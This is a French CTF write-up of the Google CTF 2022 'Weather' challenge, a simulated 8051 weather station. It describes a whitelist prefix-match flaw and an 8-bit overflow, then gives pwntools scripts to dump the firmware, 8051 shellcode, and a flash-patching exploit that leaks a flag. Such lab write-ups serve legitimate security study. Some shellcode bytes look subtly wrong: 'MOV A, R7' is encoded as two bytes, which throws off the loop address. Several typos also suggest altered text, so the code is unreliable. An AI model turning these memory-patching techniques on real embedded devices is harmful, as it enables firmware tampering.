Exploitation d'une vulnérabilité matérielle sur architecture 8051 : Challenge Weather (Google CTF)

Le challenge "Weather" du Google CTF 2022 propose l'analyse d'une station météo DIY basée sur un microcontrôleur 8051. L'objectif est d'extraire un flag stocké dans une ROM interne protégée en exploitant des faiblesses dans l'implémentation des protocoles de communication et la gestion de la mémoire.

Analyse de l'architecture matérielle

Le système repose sur pluseiurs composants interconnectés :

  • Un microcontrôleur (MCU) compatible CTF-8051.
  • Une EEPROM CTF-55930D.
  • Des capteurs environnementaux communiquant via le bus I2C.
  • Une liaison SPI reliant le MCU et l'EEPROM.

L'aspect critique réside dans le câblage du bus SPI : les broches sont directement reliées au bus de la RAM interne (IRAM) du 8051. Cette conception transforme l'EEPROM en une véritable "porte dérobée" matérielle. En interagissant avec l'EEPROM via des commandes I2C, un attaquant peut potentiellement lire ou modifier les registres de fonctions spéciales (SFR) et la mémoire vive interne du processeur.

Pour la communication série, le système utilise deux paires de registres :

  • 0xF2 (DATA) et 0xF3 (READY) pour la sortie.
  • 0xFA (DATA) et 0xFB (READY) pour l'entrée.

Vulnérabilités logicielles identifiées

1. Défaut de validation de chaîne dans la liste blanche

La fonction chargée de vérifier si un port I2C est autorisé présente une faille de comparaison. Elle ne vérifie pas si la chaîne saisie par l'utilisateur se termine au même moment que la chaîne de référence.

bool verifier_port_autorise(const char *entree_utilisateur) {
    const char *PORTS_OK[] = {"101", "108", "110", "111", "119", NULL};
    
    for (int i = 0; PORTS_OK[i] != NULL; i++) {
        const char *ref = PORTS_OK[i];
        const char *usr = entree_utilisateur;
        bool match = true;

        while (*ref && *usr) {
            if (*ref++ != *usr++) {
                match = false;
                break;
            }
        }
        // Si la référence est terminée, le port est validé, 
        // peu importe ce qui suit dans 'usr' !
        if (match && *ref == '\0') {
            return true;
        }
    }
    return false;
}

2. Dépassement d'entier lors de la conversion

Une fois le port validé, la chaîne est convertie en un entier non signé de 8 bits (uint8_t). À cause du modulo 256 inhérent au type, une valeur comme "101120" (qui est validée car elle commence par "101") sera convertie en un index de port arbitraire après dépassement.

uint8_t convertir_vers_u8(const char *s) {
    uint8_t valeur = 0;
    while (*s >= '0' && *s <= '9') {
        // Multiplication par 10 avec dépassement sur 8 bits
        valeur = (valeur * 10) + (*s++ - '0');
    }
    return valeur;
}

Pour cibler un port spécifique (par exemple, le port 33), il suffit de calculer une valeur qui commence par "101" et dont le résultat modulo 256 est 33.

Extraction du firmware

En utilisant le dépassement d'entier, nous pouvons communiquer avec l'EEPROM via le port 33 (accessible via l'alias "101153"). L'EEPORM est organisée en pages de 64 octets. Nous pouvons d'abord sélectionner une page avec une commande d'écriture (w), puis lire le contenu avec r.

from pwn import *

target = remote("127.0.0.1", 1337)
MAGICI_PORT = "101153" 
dump_complet = bytearray()

for num_page in range(64):
    target.sendlineafter(b"? ", f"w {MAGICI_PORT} 1 {num_page}".encode())
    target.sendlineafter(b"? ", f"r {MAGICI_PORT} 64".encode())
    
    target.recvuntil(b"ready\n")
    bloc_brut = target.recvuntil(b"\n-end", drop=True)
    
    for ligne in bloc_brut.decode().split('\n'):
        if ligne.strip():
            indices = ligne.strip().split()
            for val in indices:
                dump_complet.append(int(val))
    print(f"Page {num_page} récupérée...")

with open("firmware.bin", "wb") as f:
    f.write(dump_complet)

Détournement du flux d'exécution

Le mécanisme d'écriture dans la mémoire flash de ce système utilise un "ClearMask" : écrire un '1' remplace le bit existant par '0', tandis qu'un '0' ne modifie rien. Pour injecter du code, nous devons donc envoyer le complément à 255 de la valeur souhaitée.

L'analyse du firmware révèle une zone libre entre 0x0A02 et 0x0FFF. Nous allons injecter un shellcode à l'adresse 0x0E00 et modifier une instruction LCALL existante à l'adresse 0x04F3 pour rdeiriger l'exécution vers notre code.

Shellcode 8051 pour l'extraction du flag

Le flag se trouve dans une ROM spécifique accessible via les registres 0xEE (adresse) et 0xEF (donnée).

# Registres cibles :
# 0xEE -> FLAGROM_ADDR
# 0xEF -> FLAGROM_DATA
# 0xF2 -> SERIAL_OUT

shellcode_asm = [
    0x7F, 0x00,       # MOV R7, #0          ; Initialiser l'index
    0xEF, 0x00,       # MOV A, R7           ; Charger l'index
    0xF5, 0xEE,       # MOV 0xEE, A         ; Pointer vers la ROM du flag
    0xE5, 0xEF,       # MOV A, 0xEF         ; Lire l'octet du flag
    0xF5, 0xF2,       # MOV 0xF2, A         ; Envoyer vers le port série
    0x0F,             # INC R7              ; Incrémenter l'index
    0x02, 0x0E, 0x02  # LJMP 0x0E02         ; Boucler
]

Exploit final

L'écriture s'effectue par blocs de 64 octets. L'adresse 0x0E00 correspond au bloc 56, et 0x04F3 se trouve dans le bloc 19.

# Préparation du shellcode inversé pour le ClearMask
payload_shellcode = ' '.join([str(255 - b) for b in shellcode_asm])

# 1. Injection du shellcode dans le bloc 56 (0x0E00)
# '165 90 165 90' est la séquence de déverrouillage requise
target.sendlineafter(b"?", f"w 101153 100 56 165 90 165 90 {payload_shellcode}".encode())

# 2. Patch de l'instruction d'appel au bloc 19
# On remplace les instructions originales pour sauter vers 0x0E00
patch_instr = "255 " * 51 + "255 255 237 241 255"
target.sendlineafter(b"?", f"w 101153 100 19 165 90 165 90 {patch_instr}".encode())

# Récupération du flag
target.recvline()
flag_data = target.recvline()
print(f"Flag extrait : {flag_data.decode()}")

Étiquettes: Google-CTF 8051 Hardware-Security Exploitation Firmware-Analysis

Publié le 14 juin à 22h28